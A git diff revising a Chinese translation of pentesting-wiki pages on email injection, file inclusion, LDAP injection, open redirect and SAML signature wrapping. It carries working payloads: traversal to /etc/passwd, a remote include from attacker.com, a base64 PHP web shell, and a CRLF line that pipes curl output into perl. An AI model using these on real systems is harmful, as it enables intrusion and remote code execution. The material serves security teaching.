在开头或结尾也将被忽略。 +**括号 () 中的注释** 在开头或结尾也会被忽略。 -- 例如 john.doe(intigriti)@example.com → john.doe@example.com +- 例如,john.doe(intigriti)@example.com → john.doe@example.com ### 白名单绕过 @@ -134,7 +134,7 @@ Parameter #4 [ $additional_parameters ] #punycode x@xn--svg/-9x6 → x@` 为 `=3e` 和 `null` 为 `=00` @@ -145,45 +145,45 @@ x@xn--svg/-9x6 → x@) -## 第三方 SSO +## Third party SSO ### XSS -一些服务如 **github** 或 **salesforce 允许** 您创建一个 **带有 XSS 有效载荷的电子邮件地址**。如果您可以 **使用这些提供商登录其他服务**,而这些服务 **没有正确清理** 电子邮件,您可能会导致 **XSS**。 +一些服务,如 **github** 或 **salesforce 允许** 您创建一个 **带有 XSS 负载的电子邮件地址**。如果您可以 **使用这些提供商登录其他服务**,而这些服务 **没有正确清理** 电子邮件,您可能会导致 **XSS**。 -### 账户接管 +### Account-Takeover -如果 **SSO 服务** 允许您 **创建一个不验证给定电子邮件地址的账户**(如 **salesforce**),然后您可以使用该账户 **登录到一个信任** salesforce 的不同服务,您可能会访问任何账户。\ -&#xNAN;_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ +如果 **SSO 服务** 允许您 **创建一个不验证给定电子邮件地址的帐户**(如 **salesforce**),然后您可以使用该帐户 **登录到一个信任** salesforce 的不同服务,您可能会访问任何帐户。\ +_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ -## 回复至 +## Reply-To 您可以使用 _**From: company.com**_ 和 _**Replay-To: attacker.com**_ 发送电子邮件,如果由于电子邮件是 **从** 内部地址发送的而发送了任何 **自动回复**,则 **攻击者** 可能能够 **接收** 该 **响应**。 -## 硬退信率 +## Hard Bounce Rate -某些服务,如 AWS,实施一个称为 **硬退信率** 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。 +某些服务,如 AWS,实施一个称为 **Hard Bounce Rate** 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。 -**硬退信** 是指 **电子邮件** 被退回给发件人,因为收件人的地址无效或不存在。这可能由于各种原因发生,例如 **电子邮件** 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 **电子邮件**。 +**hard bounce** 指的是 **电子邮件** 被退回给发件人,因为收件人的地址无效或不存在。这可能由于多种原因造成,例如 **电子邮件** 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 **电子邮件**。 -在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退信(由于无效地址或域名等原因),这将意味着 10% 的硬退信率。达到或超过此比率可能会触发 AWS SES(简单电子邮件服务)阻止或暂停您的电子邮件发送能力。 +在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退回(由于无效地址或域名等原因),这将意味着 10% 的硬退回率。达到或超过此比率可能会触发 AWS SES(简单电子邮件服务)阻止或暂停您的电子邮件发送能力。 -保持低硬退信率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。 +保持低硬退回率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。 -有关更详细的信息,可以参考 AWS 关于处理退信和投诉的官方文档 [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)。 +有关更详细的信息,可以参考 AWS 关于处理退回和投诉的官方文档 [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)。 -## 参考 +## References - [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 4748f4e3f..c52acd020 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -尝试将 `/` 改为 `\`\ +尝试将 `/` 更改为 `\`\ 尝试添加 `../../../../../` 一个使用多种技术查找文件 /etc/password(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。 @@ -38,7 +38,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -尝试将 `/` 改为 `\`\ +尝试将 `/` 更改为 `\`\ 尝试删除 `C:/` 并添加 `../../../../../` 一个使用多种技术查找文件 /boot.ini(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。 @@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion ## 基本 LFI 和绕过 -所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\]()。 +所有示例都是针对本地文件包含的,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\]()。 ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **空字节 (%00)** -绕过在提供的字符串末尾附加更多字符的限制(绕过:$\_GET\['param']."php") +绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -90,7 +90,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **探测文件夹:** 将怀疑的文件夹名称(例如,`private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录级别需要将深度增加一个: +2. **探测文件夹:** 将怀疑的文件夹名称(例如,`private`)附加到 URL,然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` @@ -110,7 +110,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd 在PHP中,由于文件系统的特性,文件路径的各种表示可以被视为等效。例如: - `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。 -- 当最后6个字符为`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。 +- 当最后6个字符是`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。 - 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。 提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标: @@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas 在这些场景中,所需的遍历次数可能在2027左右,但这个数字可能会根据服务器的配置而有所不同。 - **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。 -- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。 +- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录所需的精确`../`序列数量,然后再到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。 - **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。 在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。 @@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter ``` ## 远程文件包含 -在 php 中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个 PHP 文件并获得 RCE: +在php中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作,在这种情况下,您可以从您的服务器包含一个PHP文件并获得RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议和 base64 来解码一个 b64 PHP 代码并获得 RCE: +如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 来解码一个 b64 PHP 代码并获得 RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` @@ -159,7 +159,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python 根元素 +## Python Root element 在 Python 中,像这样的代码: ```python @@ -229,7 +229,7 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操 - `convert.iconv.*` : 转换为不同的编码(`convert.iconv..`)。要获取 **所有支持的编码列表**,请在控制台中运行:`iconv -l` > [!WARNING] -> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如包含过程处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。 +> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: 压缩内容(在提取大量信息时很有用) @@ -273,21 +273,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the ### 使用 php 过滤器作为 oracle 读取任意文件 -[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。 +[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。 在原始文章中可以找到该技术的详细解释,但这里是一个快速总结: - 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。 -- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**。 +- 这将用于生成一个 **当初始字母正确猜测时文本非常大** 的文本,以至于 php 会触发一个 **错误**。 - **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。 -- 这与前一个(以及根据猜测字母的其他过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将导致 php 错误。 +- 这与前一个(以及其他根据猜测字母的过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将使 php 出错。 - 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母(因此在此编码后:a -> b)。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,php 错误被触发,因为它与初始炸弹相乘。 -- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r(其他编码可以用于将其他字母移动到十六进制范围)。 -- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。 -- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。 -- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。 +- 使用其他转换如 **rot13** 在开头可以泄漏其他字符如 n, o, p, q, r(其他编码可以用于将其他字母移动到十六进制范围)。 +- 当初始字符是数字时,需要对其进行 base64 编码并泄漏前两个字母以泄漏该数字。 +- 最后一个问题是查看 **如何泄漏超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。 +- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的位以泄漏。 -在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 +在文章中还泄漏了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。 ### php://fd @@ -316,7 +316,7 @@ mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` -### data:// +### 数据:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, @@ -356,11 +356,11 @@ $phar->stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -执行后,将创建一个名为 `test.phar` 的文件,这可能会被利用来利用本地文件包含(LFI)漏洞。 +执行后,将创建一个名为 `test.phar` 的文件,该文件可能被利用来利用本地文件包含(LFI)漏洞。 -在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件相关。 +在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。 -有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档: +有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅以下链接的文档: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -389,7 +389,7 @@ phar-deserialization.md ## 通过 PHP 的 'assert' 进行 LFI -在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。 +在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,该函数可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。 例如,PHP 代码可能被设计为防止目录遍历,如下所示: ```bash @@ -408,7 +408,7 @@ assert("strpos('$file', '..') === false") or die(""); ## PHP盲路径遍历 > [!WARNING] -> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。 +> 该技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。 在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。 @@ -416,7 +416,7 @@ assert("strpos('$file', '..') === false") or die(""); 然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。 -**可能存在漏洞的函数**:`file_get_contents`,`readfile`,`finfo->file`,`getimagesize`,`md5_file`,`sha1_file`,`hash_file`,`file`,`parse_ini_file`,`copy`,`file_put_contents (仅限目标只读)`,`stream_get_contents`,`fgets`,`fread`,`fgetc`,`fgetcsv`,`fpassthru`,`fputs` +**可能存在漏洞的函数**:`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` 有关技术细节,请查看上述文章! @@ -431,11 +431,11 @@ assert("strpos('$file', '..') === false") or die(""); 如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell,如**``**并包含该文件。 > [!WARNING] -> 请注意,**如果您使用双引号**而不是**单引号**来编写shell,双引号将被修改为字符串"_**quote;**_",**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。 +> 请注意,如果您为shell使用双引号而不是**单引号**,双引号将被修改为字符串"_**quote;**_",**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。 > -> 此外,请确保您**正确编写有效负载**,否则每次PHP尝试加载日志文件时都会出错,您将没有第二次机会。 +> 此外,请确保**正确编写有效负载**,否则每次尝试加载日志文件时PHP都会出错,您将没有第二次机会。 -这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码,这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码,并在日志中解码。PHPShell可以插入到此头部中。\ +这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码,这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码,并在日志中解码。PHPShell可以插入到该头部中。\ 其他可能的日志路径: ```python /var/log/apache2/access.log @@ -456,7 +456,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### 通过 /proc/\*/fd/\* -1. 上传大量 shell(例如:100) +1. 上传大量的 shell(例如:100) 2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力破解),$FD 是文件描述符(也可以暴力破解) ### 通过 /proc/self/environ @@ -513,7 +513,7 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地 ### 通过 php base64 过滤器(使用 base64) -正如在 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示,PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查:如果您提供以 ".php" 结尾的 base64,它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例: +正如在 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章中所示,PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查:如果您提供以 ".php" 结尾的 base64,它将忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -567,7 +567,7 @@ lfi2rce-via-temp-file-uploads.md ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -以下利用 CRLF 漏洞获取 RCE(来自 [**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +以下利用CRLF漏洞获取RCE(来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md ### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露 -如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**: +如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md @@ -598,18 +598,18 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md lfi2rce-via-eternal-waiting.md {{#endref}} -### 到致命错误 +### 导致致命错误 -如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。 +如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。(你需要包含同一个文件两次以引发该错误)。 **我不知道这有什么用,但可能有用。**\ -&#xNAN;_E即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_ +_即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
## 参考 -- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ +- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {{#file}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index b84aaffe6..5660ef957 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -14,7 +14,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,就会发生这种情况,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操控。 +**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,就会发生这种情况,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操纵。 {{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf @@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -&#xNAN;**(&)** = 绝对真\ -&#xNAN;**(|)** = 绝对假 +**(&)** = 绝对真\ +**(|)** = 绝对假 例如:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ @@ -48,17 +48,17 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。** -过滤器必须以:`&` 或 `|` 开头\ -示例:`(&(directory=val1)(folder=public))` +过滤器必须以 `&` 或 `|` 开头\ +示例: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` -然后:`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。 +然后: `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。 ### 登录绕过 -LDAP 支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,可能无论你在密码中插入什么,它都会被哈希处理。 +LDAP 支持多种格式来存储密码:明文、md5、smd5、sh1、sha、crypt。因此,无论你在密码中插入什么,它都可能被哈希处理。 ```bash user=* password=* @@ -150,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P #### **发现有效的LDAP字段** -LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。 +LDAP对象**默认包含多个属性**,可以用来**保存信息**。您可以尝试**对所有属性进行暴力破解以提取该信息。** 您可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。 ```python #!/usr/bin/python3 import requests @@ -182,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v finish = True print() ``` -#### **特殊盲 LDAP 注入(不带 "\*")** +#### **特殊盲LDAP注入(不带“\*”)** ```python #!/usr/bin/python3 diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 98ba92e3f..c8e2981dd 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -166,10 +166,9 @@ exit; ## 资源 -- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 你可以找到模糊测试列表。\\ -- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\ +- 在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 中可以找到模糊测试列表。 +- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 89285d68b..2c1b60d19 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -16,7 +16,7 @@ saml-basics.md ## XML 往返 -在 XML 中,签名部分的 XML 被保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。 +在 XML 中,XML 的签名部分保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。 例如,检查以下代码: ```ruby @@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name doc = REXML::Document.new doc.to_s puts "First child after round-trip: " + doc.root.elements[1].name ``` -在 REXML 3.2.4 或更早版本上运行该程序将导致以下输出: +运行该程序针对 REXML 3.2.4 或更早版本将导致以下输出: ``` First child in original doc: Y First child after round-trip: Z @@ -67,14 +67,14 @@ First child after round-trip: Z ### XSW #2 - **与XSW #1的区别**:使用分离签名而不是封装签名。 -- **影响**:与XSW #1类似的“恶意”结构旨在欺骗完整性检查后的业务逻辑。 +- **影响**:“恶意”结构,类似于XSW #1,旨在欺骗完整性检查后的业务逻辑。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>) ### XSW #3 - **策略**:在与原始断言相同的层级上构造一个恶意断言。 -- **影响**:旨在混淆业务逻辑以使用恶意数据。 +- **影响**:意图使业务逻辑混淆,以使用恶意数据。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>) @@ -108,7 +108,7 @@ First child after round-trip: Z ### XSW #8 -- **与XSW #7的区别**:利用另一个约束较少的XML元素进行攻击的变体。 +- **与XSW #7的区别**:利用另一个约束较少的XML元素进行变体攻击。 - **影响**:原始断言成为约束较少元素的子元素,反转XSW #7中使用的结构。 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image 